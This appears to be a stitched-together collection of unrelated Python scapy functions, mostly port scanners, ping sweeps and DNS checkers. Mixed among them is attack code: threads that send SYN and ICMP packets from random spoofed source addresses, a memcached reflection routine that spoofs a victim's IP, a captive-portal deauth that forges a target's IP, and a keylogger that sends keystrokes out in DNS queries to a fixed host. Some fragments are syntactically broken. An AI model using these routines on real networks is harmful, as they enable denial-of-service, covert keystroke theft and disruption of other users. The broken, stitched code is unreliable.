def scan(args): localport = 1584 results = {} if args.protocol == "ICMP": for host in args.hosts: p = sr1(IP(dst=str(host)) / ICMP(), timeout=1, verbose=0) if not p: p = None results[host] = p elif args.protocol == "TCP": for host in args.hosts: for port in args.ports: p = sr1(IP(dst=str(host)) / TCP(sport=localport, dport=port), timeout=1, verbose=0) if not p: p = None results[host + ":" + str(port)] = p elif args.protocol == "UDP": for host in args.hosts: for port in args.ports: p = sr1(IP(dst=str(host)) / UDP(sport=localport, dport=port), timeout=1, verbose=0) if not p: p = None results[host + ":" + str(port)] = p return results
def udp_scan(target_ip, target_port): try: udp_packet = scapy.UDP(dport=target_port) ip_packet = scapy.IP(dst=target_ip) packet_sent = ip_packet / udp_packet response = scapy.sr1(packet_sent, timeout=5, verbose=False) if response.haslayer(scapy.UDP): return "port {} : OPEN ".format(target_port) elif response.haslayer(scapy.ICMP): if int(response.getlayer(scapy.ICMP).type) == 3 and int(response.getlayer(scapy.ICMP).code) == 3: return False elif int(response.getlayer(scapy.ICMP).type) == 3 and int(response.getlayer(scapy.ICMP).code) in [1, 2, 9, 10, 13]: return "port {} : Filtered ".format(target_port) except AttributeError: retrans = [] for count in range(0, 3): retrans.append(scapy.sr1(packet_sent, timeout=2, verbose=False)) for item in retrans: try: if item.haslayer(scapy.UDP): udp_scan(target_ip, target_port) except AttributeError: return "port {} : OPEN | Filtered ".format(target_port) except KeyboardInterrupt: print("[-] ctr+c ... Quiting") sys.exit(1)
def pronto_deauth(): global g_target_ip, g_router_ip # Initiate 3-way handshake ## Create the SYN packet ip_layer = IP(src=g_target_ip, dst=g_router_ip) tcp_layer = TCP(sport=TCP_SPOOFING_PORT, dport=80, flags="S", seq=42) SYN = ip_layer / tcp_layer ## Send the SYN packet SYNACK = sr1(SYN, verbose=0) print("Sent SYN") ## Sniff for the SYN-ACK #SYNACK = sniff(filter="TCP and dst port " + TCP_SPOOFING_PORT + " and host " + g_target_ip, count=1) # Create the ACK for the SYN-ACK response from gateway get_req = "GET /cgi-bin/authlogout HTTP/1.1\r\nHost: phc.prontonetworks.com\r\n" ACK = IP(src = g_target_ip, dst=g_router_ip)/ \ TCP(sport=TCP_SPOOFING_PORT, dport=80, flags="A", seq=SYNACK.ack, ack=SYNACK.seq + 1)/ \ get_req # Send the GET request http_resp = sr1(ACK, verbose=0) print(http_resp.show()) #if (http_resp[]) print("Deauthed target successfully")
def handshake(targetIP, targetPort): #scapy.conf.L3socket=scapy.L3RawSocket seqNum = random.randint(10000, 20000) sport = random.randint(1024, 65535) ipLayer = scapy.IP(src=localIP, dst=targetIP) tcpLayer1 = scapy.TCP(sport=sport, dport=targetPort, flags='S', seq=seqNum) p = scapy.sr1(ipLayer / tcpLayer1) print(p.show()) # Send ACK Packet tcpLayer2 = scapy.TCP(sport=sport, dport=targetPort, flags='A', seq=seqNum + 1, ack=p.seq + 1) scapy.send(ipLayer / tcpLayer2) # Send Payload payload = "hello" #payload = "GET /\n\n" tcpLayer3 = scapy.TCP(sport=sport, dport=targetPort, flags='PA', seq=seqNum + 1, ack=p.seq + 1) p = scapy.sr1(ipLayer / tcpLayer3 / payload) print(p.show())
def icmpv4_probe(dst_host, timeout): icmptype_i = 0x8 icmptype_name_i = 'ICMP ECHO' icmptype_o = 0x0 icmptype_name_o = 'ICMP ECHO_REPLY' response = None response2 = None stack_name = '' match = '' # Send a normal ICMP packet with a 'seq' number other than zero, just to ensure the seq counter at picoTCP is # changed and the next packet will be accepted. r = sr1(IP(dst=dst_host, ttl=20) / ICMP(id=0xff, seq=1, type=icmptype_i), filter='icmp[icmptype] = {}'.format(icmptype_o), timeout=timeout) if not r: return (stack_name, match_level_str(MATCH_NO_REPLY)) # Prepare a malformed ICMP packet icmp_raw = b'\x08\x01\x02' ipv4_probe = IP(dst=dst_host, ttl=20, proto=0x01) / Raw(load=icmp_raw) # Send the malformed ICMP packet # If we get the expected response it is either PicoTCP or uIP/Contiki: # - we first check that the TTL value of the echo packet is changed into 64 for the reply packet # - we then check the payload sequence of the echo reply packet response = sr1(ipv4_probe, filter='icmp[icmptype] = {}'.format(icmptype_o), timeout=timeout) if response: if (response.ttl == 64): if (hexlify(response.load) == b'0001ff'): match = MATCH_VUL stack_name = 'PicoTCP' elif (hexlify(response.load) == b'00010a'): match = MATCH_VUL stack_name = 'uIP/Contiki' if not match: match = MATCH_OTHER else: # we did not get a reply for the first malformed packet _id = 0xab _seq = 0xba # Nut/Net should reply to ICMP packets with incorrect IP and ICMP checksums ipv4_probe = IP(dst=dst_host, ttl=20, chksum=0xdead) / ICMP( id=_id, seq=_seq, type=icmptype_i, chksum=0xbeaf) response = sr1(ipv4_probe, filter='icmp[icmptype] = {}'.format(icmptype_o), timeout=timeout) if response: if (response.ttl == 64): if (response[ICMP].id == _id and response[ICMP].seq == _seq and response[ICMP].type == 0x00): match = MATCH_POT_WEAK stack_name = 'Nut/Net' if not match: match = MATCH_OTHER # no reply for the second malformed packet return (stack_name, match_level_str(match))
def port_sweep(host, port_range=[22, 23, 80, 443, 445, 3389]): print("======= SCANNING {} =======".format(host)) for dst_port in port_range: src_port = random.randint(1025, 65534) resp = sr1(IP(dst=host) / TCP(sport=src_port, dport=dst_port, flags="S"), timeout=2, verbose=0) if resp is None: print("{} : {} is filtered (silently dropped).".format( host, dst_port)) elif (resp.haslayer(TCP)): if (resp.getlayer(TCP).flags == 0x12): send_rst = sr1( IP(dst=host) / TCP(sport=src_port, dport=dst_port, flags='R'), timeout=1, verbose=0, ) print("{}:{} is open.".format(host, dst_port)) elif (resp.getlayer(TCP).flags == 0x14): print("{}:{} is closed.".format(host, dst_port)) elif (resp.haslayer(ICMP)): if (int(resp.getlayer(ICMP).type) == 3 and int(resp.getlayer(ICMP).code) in [1, 2, 3, 9, 10, 13]): print("{} : {} is filtered (silently dropped).".format( host, dst_port))
def port_scanner(self, hosts, ports=[21, 22, 53, 80, 443, 1723, 8080], time=0.5, ttl=64): HostPort_dict = dict() #Init variable to store results for host in hosts: HostPort_dict[host] = [] # create blank dict entry for host for i in ports: pkt = IP(dst=host, ttl=ttl) / TCP(dport=i) reply = sr1(pkt, verbose=0, timeout=time) if (reply is None ): # host either down or firewall filtering requests. HostPort_dict[host].append(str(i) + " Filtered") elif (str( reply[TCP].flags) == "SA"): # if syn-ack port is open HostPort_dict[host].append( str(i)) # append to current host entry list. sr1(IP(dst=host, ttl=ttl) / TCP(dport=i, flags="R"), verbose=0, timeout=0) elif (str(reply[TCP].flags) == "RA"): # if RA port is closed HostPort_dict[host].append(str(i) + " Closed") else: # is other response assume closed/. HostPort_dict[host].append(str(i) + " Closed/Filtered") return HostPort_dict # return entire dict.
def do_ping(dst: str, net_scan=True) -> bool: '''check if its FQDN then resolv if its IP then do ping one time ''' global online_hosts # packet = scapy.IP(dst="192.168.0." + str(dst), ttl=20)/scapy.ICMP() t1 = time.perf_counter() packet = scapy.IP(dst=dst) / scapy.ICMP() # answered, unanswered = scapy.sr(packet, timeout=TIMEOUT) scapy.sr1(packet, timeout=TIMEOUT) reply = scapy.sr1(packet, timeout=TIMEOUT) # print(answered, unanswered) if reply: if net_scan: print(f"{Fore.GREEN}host {dst} is alived{Fore.RESET}") else: t2 = time.perf_counter() print( f"{Fore.GREEN}pinging {dst}, rtt is {str(t2-t1)[0:4]}{Fore.RESET}" ) return True else: if not net_scan: print( f"{Fore.BLUE}Timeout waiting for {packet[scapy.IP].dst}{Fore.RESET}" ) return False
def main(): """ :return: void() """ seq = 0 ack = 0 # Hand Shake ip_layer = IP(src=SRC_IP, dst=DST_IP) tcp_layer = TCP(dport=PORT, seq=100, flags='S') syn_pkg = ip_layer / tcp_layer syn_ack_pkg = sr1(syn_pkg) if syn_ack_pkg != 0: ip_layer = IP(src=SRC_IP, dst=DST_IP) tcp_layer = TCP(dport=PORT, seq=syn_ack_pkg[TCP].ack, ack=(syn_ack_pkg[TCP].seq + 1), flags='A') ack_pkg = ip_layer / tcp_layer seq = syn_ack_pkg[TCP].ack ack = syn_ack_pkg[TCP].seq + 1 send(ack_pkg) print "Sould be connected to server by this point" # Finish hand-Shake ip_layer = IP(src=SRC_IP, dst=DST_IP) tcp_layer = TCP(dport=PORT, seq=seq, ack=ack, flags='A') msg = raw_input('Enter text here: \n') http_msg = 'GET / HTTP/1.1\r\n' + msg + '\r\n' print 'http_msg: ' + str(http_msg) print 'src_ip: ' + str(SRC_IP) enc_msg = hmac.new(KEY,http_msg + SRC_IP, sha256) msg2 = http_msg + http_msg + enc_msg.hexdigest() + "\r\n\r\n" com_pkg = ip_layer / tcp_layer / msg2 com_pkg.show() com_ans_pkg = sr1(com_pkg) com_ans_pkg.show()
def run(self): print "Starting %s %s %d" % (self.name, self.target, self.port) i = IP() i.src="%i.%i.%i.%i" % (random.randint(1, 254), random.randint(1,254), random.randint(1, 254), random.randint(1,254)) i.dst = self.target t = ICMP() print "Spoofing %s to send ICMP ..." % i.src sr1(i/ICMP,verbose=0)
def test_decompress(logger): """ Tests the tamper 'decompress' primitive. """ tamper = actions.tamper.TamperAction(None, field="qd", tamper_type="compress", tamper_value=10, tamper_proto="DNS") assert tamper.field == "qd", "Tamper action changed fields." assert tamper.tamper_type == "compress", "Tamper action changed types." assert str( tamper ) == "tamper{DNS:qd:compress}", "Tamper returned incorrect string representation: %s" % str( tamper) packet = layers.packet.Packet( IP(dst="8.8.8.8") / UDP(dport=53) / DNS(qd=DNSQR(qname="minghui.ca."))) original = packet.copy() tamper.tamper(packet, logger) assert bytes( packet["DNS"] ) == b'\x00\x00\x01\x00\x00\x02\x00\x00\x00\x00\x00\x00\x07minghui\xc0\x1a\x00\x01\x00\x01\x02ca\x00\x00\x01\x00\x01' resp = sr1(packet.packet) assert resp["DNS"] assert resp["DNS"].rcode != 1 assert resp["DNSQR"] assert resp["DNSRR"].rdata assert confirm_unchanged(packet, original, IP, ["len"]) print(resp.summary()) packet = layers.packet.Packet( IP(dst="8.8.8.8") / UDP(dport=53) / DNS(qd=DNSQR(qname="maps.google.com"))) original = packet.copy() tamper.tamper(packet, logger) assert bytes( packet["DNS"] ) == b'\x00\x00\x01\x00\x00\x02\x00\x00\x00\x00\x00\x00\x04maps\xc0\x17\x00\x01\x00\x01\x06google\x03com\x00\x00\x01\x00\x01' resp = sr1(packet.packet) assert resp["DNS"] assert resp["DNS"].rcode != 1 assert resp["DNSQR"] assert resp["DNSRR"].rdata assert confirm_unchanged(packet, original, IP, ["len"]) print(resp.summary()) # Confirm this is a NOP on normal packets packet = layers.packet.Packet(IP() / UDP()) original = packet.copy() tamper.tamper(packet, logger) assert packet.packet.summary() == original.packet.summary() # Confirm tamper didn't corrupt anything else in the TCP header assert confirm_unchanged(packet, original, UDP, []) # Confirm tamper didn't corrupt anything else in the IP header assert confirm_unchanged(packet, original, IP, [])
def run(self): print "Starting %s %s %d" % (self.name, self.target, self.port) i = IP() i.src = "%i.%i.%i.%i" % (random.randint(1, 254), random.randint( 1, 254), random.randint(1, 254), random.randint(1, 254)) i.dst = self.target t = ICMP() print "Spoofing %s to send ICMP ..." % i.src sr1(i / ICMP, verbose=0)
def check_host(self, host): """ Check if host is online """ try: ip = IP(dst=host) icmp = ICMP() sr1(ip / icmp, verbose=False, timeout=1) return True except Exception: return False
def processTestVector(self, test_vector): payload_length = test_vector['payload_length'] print("Relay vector " + str(self.vector) + " at time " + str(time.time() // 1)) self.vector += 1 print("Relay says payload_length: %r" % test_vector['payload_length']) payload = bytearray(payload_length) for index in range(0, payload_length): try: name = 'msg.payload[' + str(index) + ']' byte = int(test_vector[name]) payload[index] = byte except KeyError: # print("Relay says out of range payload index: " + str(index)) pass opcode = bytearray(OPCODE_LENGTH) try: opcode[0] = (int(test_vector['msg.opcode']) >> 8) % 256 opcode[1] = int(test_vector['msg.opcode']) % 256 print("Relay says opcode: " + str(test_vector['msg.opcode']) + " (" + str(opcode) + ")") except KeyError: print("Relay says could not find msg opcode key") except: print("Unexpected error:", sys.exc_info()[0]) raise if opcode[1] in INITIAL_REQUESTS: print("Start new session with opcode %d" % opcode[1]) self.local_port = RandShort()._fix() self.local_filter = "dst port " + str(self.local_port) pkt = IP(dst=self.target_ip) / \ UDP(sport=self.local_port, dport=TFTP_PORT) / \ (bytes(opcode) + bytes(payload)) rx_pkt = sr1(pkt, filter=self.local_filter, timeout=1, verbose=False) if rx_pkt: self.stream_active = True self.remote_port = rx_pkt[0].sport elif self.stream_active and opcode[1] in DATA_FLOW: print("Session data with opcode %d" % opcode[1]) pkt = IP(dst=self.target_ip) / \ UDP(sport=self.local_port, dport=self.remote_port) / \ (bytes(opcode) + bytes(payload)) sr1(pkt, filter=self.local_filter, timeout=1, verbose=False) else: self.stream_active = False print("Opcode %d out of order" % opcode[1])
def run(self): print "Starting %s %s %d" % (self.name, self.target, self.port) i = IP() i.src="%i.%i.%i.%i" % (random.randint(1, 254), random.randint(1,254), random.randint(1, 254), random.randint(1,254)) i.dst = self.target t = TCP() t.dport = self.port t.flags='S' print "Spoofing %s to send SYN ..." % i.src sr1(i/t,verbose=0)
def run(self): print "Starting %s %s %d" % (self.name, self.target, self.port) i = IP() i.src = "%i.%i.%i.%i" % (random.randint(1, 254), random.randint( 1, 254), random.randint(1, 254), random.randint(1, 254)) i.dst = self.target t = TCP() t.dport = self.port t.flags = 'S' print "Spoofing %s to send SYN ..." % i.src sr1(i / t, verbose=0)
def fun_packet(server, target, key): """The actual sauce""" try: ip_packet = IP(src=target, dst=server) pkt = packet_base.format('get {0}'.format(key)) udp = UDP(sport=50000, dport=11211) / pkt sr1(ip_packet / udp) return True except Exception as error: print str(error) raise EnvironmentError('Could not send the payload packet')
def getSoaForDomain(args): pkt = IP(dst="8.8.8.8") / UDP(sport=utils.getRandomPort()) / DNS(qr=0, rd=1, qd=DNSQR(qname=args.targetDomain, qtype="NS")) ans = sr1(pkt, verbose=False) args.soaDomain = list(expandLayers(ans[DNS].an, "rdata")) args.soaIP = list() for domain in args.soaDomain: pkt = IP(dst="8.8.8.8") / UDP(sport=utils.getRandomPort()) / DNS(qd=DNSQR(qname=domain, qtype="A")) ans = sr1(pkt, verbose=False) args.soaIP.append(ans[DNS].an.rdata) print args
def main(): # This is required for traffic to localhost conf.L3socket = L3RawSocket my_ip = IP(dst="www.google.com") my_tcp = TCP(dport=80) pkt = my_ip / my_tcp #send(pkt) sr1(pkt) print "packet sent"
def on_press(key): #this function define what we will do when the victime use his keyboard if(len(text)==0): text="starting at"+" "+datetime.datetime.now() text=text+" "+str(key) #recording the first intercept character elif(len(text)==15): text=text+str(key) #recording the last character text=text+" "+"ending at"+" "+datetime.datetime.now() sr1(IP(dst='192.168.1.20')/UDP(dport=53)/DNS(rd=1,qd=DNSQR(qname=text),type='A'))) text="" #restarting the string else: text=text+str(key)
def unpoison(routerip, target): """ get correct MAC for router and send to the target to reset ARP cache """ hosts = {a.ip : a.mac for a in arp().hosts} # if not already in arp cache then ping and try again if routerip not in hosts: sr1(IP(dst=routerip)/ICMP()) hosts = {a.ip : a.mac for a in arp().hosts} if routerip not in hosts: log.warning("Router MAC address not found. Could not remove ARP poison.") sys.exit() log.info("Unpoison sent to %s for gateway %s at mac address %s" % (target, routerip, hosts[routerip])) send(ARP(psrc=routerip, hwsrc=hosts[routerip], pdst=target))
def main(): os.system("sudo iptables -F") # This one drops all (anywhere source and destination) #os.system("sudo iptables -A OUTPUT -p tcp --tcp-flags RST RST -j DROP") # Drop all from source localhost os.system( "sudo iptables -A OUTPUT -p tcp --tcp-flags RST RST -s 127.0.0.1 -j DROP" ) # Drop all from source 10.0.2.15 that is my IP address (ifconfig) os.system( "sudo iptables -A OUTPUT -p tcp --tcp-flags RST RST -s 10.0.2.15 -j DROP" ) os.system("sudo iptables -L") # This is required for traffic to localhost conf.L3socket = L3RawSocket my_ip = IP(dst="www.baiwanzhan.com") my_tcp = TCP(dport=80) syn = my_ip / my_tcp syn_ack = sr1(syn) # client send SYN and receive SYN/ACK my_tcp = TCP(dport=80, sport=syn_ack[TCP].dport, seq=syn_ack[TCP].ack, ack=syn_ack[TCP].seq + 1, flags='A') send(my_ip / my_tcp) # send ACK to complete the 3-way TCP handshake my_tcp.flags = 'AP' #my_tcp.show() #get_str = "GET /service/site/search.aspx?query=法" get_str = "GET /service/site/search.aspx?query=wa" request = my_ip / my_tcp / get_str reply = sr1(request) print get_str #get_str = "轮 HTTP/1.1\r\n" \ get_str = "ter HTTP/1.1\r\n" \ "Host: www.baiwanzhan.com\r\n\r\n" my_tcp = TCP(dport=80, sport=reply[TCP].dport, seq=reply[TCP].ack, ack=reply[TCP].seq + 1, flags='AP') request = my_ip / my_tcp / get_str reply = sr1(request) #send(request) print get_str
def connect_scan(self, ip, port): probe = sr1(IP(dst=ip) / TCP(dport=port, flags="S"), verbose=False, timeout=3) if probe is not None: if probe.haslayer(TCP) and probe.getlayer(TCP).flags == 0x12: sr1(IP(dst=ip) / TCP(dport=port, flags="AR"), verbose=False, timeout=3) return [ port, "TCP", "Abierto", self.__list_port.get_sevice("TCP", port) ]
def spoofTCPPacket(oSrcAdapter, sSrcIP, sTargetIP, iDPort, dPacket): # SYN sport = random.randint(1024, 65535) ip = scapy.IP(src=sSrcIP, dst=sTargetIP) SYN = scapy.TCP(sport=sport, dport=iDPort, flags='S', seq=1000) SYNACK = scapy.sr1(ip / SYN, timeout=iTIMEOUT) if SYNACK is None: return SYNACK ## No SYN/ACK back, ARP Spoofing problem or port not open # ACK ACK = scapy.TCP(sport=sport, dport=iDPort, flags='A', seq=SYNACK.ack, ack=SYNACK.seq + 1) scapy.send(ip / ACK) # TCP DATA scapy.conf.verb = 0 oIP = scapy.IP(src=sSrcIP, dst=sTargetIP) oTCP = scapy.TCP(sport=sport, dport=iDPort, flags='PA', seq=SYNACK.ack, ack=SYNACK.seq + 1) oRAW = scapy.Raw(load=dPacket) oResp = scapy.sr1(oIP / oTCP / oRAW, timeout=iTIMEOUT) # FIN FINACK = None if not oResp is None: FIN = scapy.TCP(sport=sport, dport=iDPort, flags='FA', seq=oResp.ack, ack=oResp.seq + 1) FINACK = scapy.sr1(ip / FIN, timeout=iTIMEOUT) if not FINACK is None: LASTACK = scapy.TCP(sport=sport, dport=iDPort, flags='A', seq=FINACK.ack, ack=FINACK.seq + 1) scapy.send(ip / LASTACK) # RST #RST=scapy.TCP(sport=sport, dport=iDPort, flags='R', seq=SYNACK.ack, ack=SYNACK.seq + 1) #scapy.send(ip/RST) return oResp
def testing_vulnerability(host, destPort): for po in destPort: src_port = randomize() response = sr1(IP(dst=host)/TCP(sport=src_port,dport=po,flags="S"),timeout=1,verbose=0) print(f"The source port was from {src_port} to {host}:{po}") if(str(type(response)) == "<class 'NoneType'>"): print("Port is filtered and is silently dropped") elif(str(response).__contains__("x14")): print("Port is closed") elif(str(response).__contains__("x12")): print("Port is open ") response = sr1(IP(dst=host)/TCP(sport=src_port,dport=po,flags="R"),timeout=1,verbose=0) else: print("Port is closed") time.sleep(1.9)
def portsLoop(host, start_port, end_port, showClosed): print(Colors.LIGHTBLUE + " [-] Scanning tcp ports of " + host + '...' + Colors.ENDC) for i in range(start_port, end_port): resend_cont = 0 rand_tcp_seq = randint(1000, 99999) pkt = IP(dst=host) / TCP(seq=rand_tcp_seq, dport=i, flags=2) reply = sr1(pkt, timeout=0.1, verbose=0) while (reply is None and resend_cont < 2): reply = sr1(pkt, timeout=0.025, verbose=0) resend_cont += 1 managePkt(reply, rand_tcp_seq, i, showClosed)
def unpoison(routerip, target): """ get correct MAC for router and send to the target to reset ARP cache """ hosts = {a.ip: a.mac for a in arp().hosts} # if not already in arp cache then ping and try again if routerip not in hosts: sr1(IP(dst=routerip) / ICMP()) hosts = {a.ip: a.mac for a in arp().hosts} if routerip not in hosts: log.warning( "Router MAC address not found. Could not remove ARP poison.") sys.exit() log.info("Unpoison sent to %s for gateway %s at mac address %s" % (target, routerip, hosts[routerip])) send(ARP(psrc=routerip, hwsrc=hosts[routerip], pdst=target))
def check_ip(self, url=None, original_ip=None, neutral_dns_ip="8.8.8.8"): url = self.url if url is None else url original_ip = self.original_ip if original_ip is None else original_ip if self.ip == original_ip: self.log.info('IP is the same, DNS poisoning NOT detected (url: {})'.format(url)) return True else: self.log.warning('Different IP detected: {}'.format(self.ip)) dns_search = None try: dns_search = sr1(IP(dst=neutral_dns_ip) / UDP(dport=53) / DNS(rd=1, qd=DNSQR(qname=url)), verbose=0) except OSError as oserr: self.log.error('Error while trying to connect to DNS for URL {}: {}'. format(url, oserr)) return False except Exception as exerr: self.log.error('Unexpected error in DNS check, URL {}: {}'.format(url, exerr)) return False if dns_search is None or dns_search[DNSRR].rrname == '.': self.log.warning('URL ({}) not found in neutral DNS.'.format(url)) return False obtained_ip = dns_search[DNSRR].rdata if original_ip == obtained_ip: self.log.warning('Neutral DNS returns original IP - DNS poisoning detected for URL {}'.format(url)) elif self.ip == obtained_ip: self.log.warning('Neutral DNS returns given IP - maybe original IP not correct for URL {}'.format(url)) return True else: self.log.warning('Unexpectedly, given IP is totally different: URL {} - IP {}'.format(url, obtained_ip)) return False
def monlist_scan(self,target): data = "\x17\x00\x03\x2a" + "\x00" * 4 ip = IP(dst=target) udp=UDP(sport=random.randint(49152,65536),dport=123) a = Raw(load=data) pck = ip/udp/a n = 0 results = None #try: while (n < 3): rep = sr1(pck,verbose=0,timeout=5) if hasattr(rep,'answers'): results = 1 break elif not hasattr(rep,'answers') and (n < 3): #print "Pass ",n n = n + 1 else: results = None break pass #except KeyboardInterrupt: # sys.exit(0) #except Exception as e: # results = None #print e return results
def flagfuzzer(self, dst, port): r = { 'R':[], # RST 'RA':[], # RST-ACK 'SA':[], # SYN-ACK '--':[], # no response '??':[] # ICMP error msgs (?) } scanflags = ['','F','S','FS','R','RF','RS','RSF','A','AF','AS','ASF','AR','ARF','ARS','ARSF'] for flagval in scanflags: pkt = scapy.IP(dst=dst) pkt/= scapy.TCP(dport=port, sport=scapy.RandNum(1024,65535), flags=flagval) x = scapy.sr1( pkt, timeout=.5) sys.stderr.write(" %s \r" % flagval) sent = pkt.sprintf("%TCP.flags%") if sent == '': sent = '-' if x is not None: recvd = x.sprintf("%TCP.flags%") #self.r[recvd].append(sent+"."+str(x[scapy.IP].ttl)) r[recvd].append(sent) else: r['--'].append(sent) log.msg("finished") del r['--'] for k in r.keys(): log.msg("%4s: %s" % (k, " ".join(r[k])))
def trace(self): hopCount = 1 for request in self.echoRequests: request[sp.ICMP].id = random.randint(0, 65535) respuestas = [] destinoAlcanzado = False for medicion in range(self.tamRafaga): for reintento in range(self.cantReintentos): tiempoInicio = time.perf_counter() respuesta = sp.sr1(request,timeout=self.timeout) tiempoFin = time.perf_counter() rtt = tiempoFin - tiempoInicio#TODO chequear que sean milisegundos if respuesta is not None: respuestas.append((respuesta.src, rtt)) destinoAlcanzado = self.destino == respuesta.src break hop, rttToHop = self.analizarRespuestas(respuestas) #TODO geolocalizar aqui self.traced.append({"rtt":rttToHop, "ip_address":hop, "salto_internacional":False, "hop_num":hopCount}) hopCount = hopCount + 1 #if hop is not None: # mediciones.append((request.ttl, hop, rttToHop)) if destinoAlcanzado: break
def checkInterfaces(ifaces=None, timeout=1): """ @param ifaces: A dictionary in the form of ifaces['if_name'] = 'if_addr'. """ try: from scapy.all import IP, ICMP from scapy.all import sr1 ## we want this check to be blocking except: log.msg(("Scapy required: www.secdev.org/projects/scapy")) ifup = {} if not ifaces: log.debug("checkInterfaces(): no interfaces specified!") return None for iface in ifaces: for ifname, ifaddr in iface: log.debug("checkInterfaces(): testing iface {} by pinging" + " local address {}".format(ifname, ifaddr)) try: pkt = IP(dst=ifaddr) / ICMP() ans, unans = sr1(pkt, iface=ifname, timeout=5, retry=3) except Exception, e: raise PermissionsError if e.find("Errno 1") else log.err(e) else: if ans.summary(): log.debug("checkInterfaces(): got answer on interface %s" + ":\n%s".format(ifname, ans.summary())) ifup.update(ifname, ifaddr) else: log.debug("Interface test packet was unanswered:\n%s" % unans.summary())
def iterate_interface_identifier(prefix, oui): #ie. iterate through the missing 24 bits in IID, starting at 1 #for i in range(2**24): responses = [] for i in range(600): #need 0xfffe for actual OUI testing, ignore for initial tests host_iteration = prefix.network_address + (0xf << 16) + i #host_iteration = prefix + oui + 0xfffe + i icmp_pkt = IPv6(dst=str(host_iteration)) / ICMPv6EchoRequest() #icmp_pkt.show() #print(host_iteration) #''' #res = sr1(icmp_pkt, timeout=5) res = sr1(icmp_pkt, timeout=2, filter="ip6") if res == None: print("Timeout, no response received within limit. %s" % icmp_pkt.dst) elif ICMPv6DestUnreach in res: print("Destination unreachable: code %s" % res.code) elif ICMPv6EchoReply in res: print("Echo reply: %s" % res.src) responses.append(res.src) else: print("Other: %s" % res.show()) #''' print("\n\n===========\nFinal responses: %d\n%s\n\n" % (len(responses), responses))
def ccc(xx_ip, i): a = IP(dst=xx_ip) / TCP(dport=int(i), flags='S') b = sr1(a, verbose=False, timeout=1, iface=data['we']) #print(b.show()) if b != None: if b[TCP].flags == 'SA': datb.append(str(i))
def run(self): while True: port = self.queue.get() answer = sr1(IP(dst=dstip)/TCP(dport=port,flags='S'),timeout=1,verbose=0) if answer['TCP'].flags == 18: print "Port %s open" % port self.queue.task_done()
def scanTCPPort(ip, port_dict, queue): while True: dst_port = queue.get() src_port = scapy.RandShort() packet = scapy.IP(dst=ip)/scapy.TCP(sport=src_port, dport=dst_port, flags="S") response = scapy.sr1(packet, verbose=False, timeout=5) if response is None: port_dict[dst_port]="Closed" elif(response.haslayer(scapy.TCP)): # If the packet returned had the SYN and ACK flags if(response.getlayer(scapy.TCP).flags == 0x12): # Send TCP packet back to host with ACK and RST flags packet = scapy.IP(dst=ip)/scapy.TCP(sport=src_port,dport=dst_port,flags=0x14) send_rst = scapy.sr(packet, verbose=False, timeout=5) port_dict[dst_port]="Open" # If the packet returned had the RST and ACK flags elif (response.getlayer(scapy.TCP).flags == 0x14): port_dict[dst_port]="Closed" else: port_dict[dst_port]="Closed" queue.task_done()
def iterate_bgp_prefix(prefix): prefixlen = prefix.prefixlen #ie. number of possible network prefixes for i in range(2**(64 - prefixlen)): #only interested in network half of prefix #shift i left 64 bits so only this half of the address is searched #use arbitrary value 1 for host identifier half # prefix_iteration = prefix.network_address + (i << 64) + ipaddress.IPv6Address("::1000:0:1:2") # prefix_iteration = prefix.network_address + (i << 64) + 0x200e prefix_iteration = prefix.network_address + (i << 64) + 1 #print(prefix_iteration) icmp_pkt = IPv6(dst=str(prefix_iteration)) / ICMPv6EchoRequest() #send - send packets at layer 3 #sr - send packets and match reply #sr1 - send packets, but only match first reply res = sr1(icmp_pkt, timeout=15) #invalid/unadvertised prefix or host identifier, DROP policy on final hop if res == None: print("Timeout, no response received.") #note: .show() displays None, but prints packet details before print line elif ICMPv6EchoReply in res: print("Echo reply - host found:\n%s" % res.show()) #code 3 = Destination Unreachable: Address Unreachable #ie. live network prefix found, no matching host ID elif ICMPv6DestUnreach in res: if res[ICMPv6DestUnreach].code == 3: print("Destination unreachable:\n%s, %s" % (res.show(), "Address Unreachable")) #code 0 = Destination Unreachable: No Route #invalid/unadvertised prefix, REJECT policy on final hop elif res[ICMPv6DestUnreach].code == 0: print("Destination unreachable:\n%s, %s" % (res.show(), "No route")) else: print("Other: %s" % res.show())
def ping(hostname): """Ping the target host. Return either the ping delay or None.""" conf.verb = 0 start = datetime.datetime.now() online = sr1(IP(dst=hostname) / ICMP(), timeout=3) is not None end = datetime.datetime.now() return int((end - start).total_seconds() * 1000) if online else None
def detectWAF(url,port,lang): import logging noWAF = _("\nWeb Application Firewall nao detectado") thereIsWAF = _("\nWeb Application Firewall detectado") logging.getLogger("scapy.runtime").setLevel(logging.ERROR) parsed = urlparse(url) if len(parsed.netloc) == 0: parsed = urlparse('http://'+url) pass dst_ip = socket.gethostbyname(parsed.netloc) src_port = RandShort() # A TCP packet with the ACK flag (16) set and the port number to connect to is send to the server. ack_flag_scan_resp = sr1(IP(dst=dst_ip)/TCP(dport=port,flags="A"),timeout=10, verbose=0) # if (str(type(ack_flag_scan_resp))=="<type 'NoneType'>"): return _('Resposta: ') + "<No_Response_to_TCP_ACK>" + buildResponse(True, thereIsWAF,_('\n')) # If the server responds with the RST flag set inside a TCP packet, then the port is unfiltered and a stateful firewall is absent. elif(ack_flag_scan_resp.haslayer(TCP)): if(ack_flag_scan_resp.getlayer(TCP).flags == 0x4): # RST flag = 4 return _('Resposta: ') + "<RST_flag_SET>" + buildResponse(False, _('\n'),noWAF) # RST flag # If the server doesnt respond to our TCK ACK scan packet or if it responds with a TCP packet with ICMP type 3 or code 1, 2, 3, 9, 10, or 13 set, # then the port is filtered and a stateful firewall is present. elif(ack_flag_scan_resp.haslayer(ICMP)): if(int(ack_flag_scan_resp.getlayer(ICMP).type)==3 and int(ack_flag_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]): return _('Resposta: ') + "<ICMP_type_3_TCP_Packet>" + buildResponse(True, thereIsWAF,_('\n'))
